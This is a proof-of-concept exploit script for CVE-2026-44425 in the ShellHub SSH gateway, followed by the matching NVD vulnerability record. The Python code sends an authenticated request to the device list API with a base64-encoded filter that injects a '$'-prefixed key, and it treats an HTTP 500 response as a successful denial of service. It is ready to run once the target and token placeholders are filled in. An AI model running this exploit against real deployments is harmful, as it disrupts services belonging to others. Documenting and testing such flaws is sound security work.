CVE-2026-44425

import requests import base64 import json def exploit_shellhub_dos(target_url, token): """ PoC for CVE-2026-44425 Exploits the lack of validation in the 'filter' parameter. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload targeting the BSON key injection # Injecting a '$' into a key name often causes parsing issues if not validated malicious_payload = { "name": "$invalid_operator" } # Encode payload to base64 as required by the API encoded_payload = base64.b64encode(json.dumps(malicious_payload).encode()).decode() params = { "filter": encoded_payload } try: print(f"[+] Sending malicious request to {target_url}/api/devices...") response = requests.get(f"{target_url}/api/devices", headers=headers, params=params) if response.status_code == 500: print("[+] Exploit successful! Server returned HTTP 500 (Internal Server Error).") print("[+] The service is likely experiencing a Denial of Service.") else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and token TARGET = "http://localhost:8080" TOKEN = "valid_user_token" exploit_shellhub_dos(TARGET, TOKEN)

{"cve": {"id": "CVE-2026-44425", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:44.400", "lastModified": "2026-05-14T16:44:55.820", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ShellHub is a centralized SSH gateway. Prior to 0.24.2, the device list endpoint accepts user-controlled identifiers in the the name field of each filter property in the base64-encoded filter query parameter and the sort_by query parameter, which are then passed directly as BSON/SQL keys in the database layer without validation. Any authenticated user can craft payloads that cause the aggregation / query to fail and the API to return HTTP 500 with no body, with no rate limiting applied. This vulnerability is fixed in 0.24.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-943"}, {"lang": "en", "value": "CWE-1333"}]}], "references": [{"url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9", "source": "[email protected]"}]}}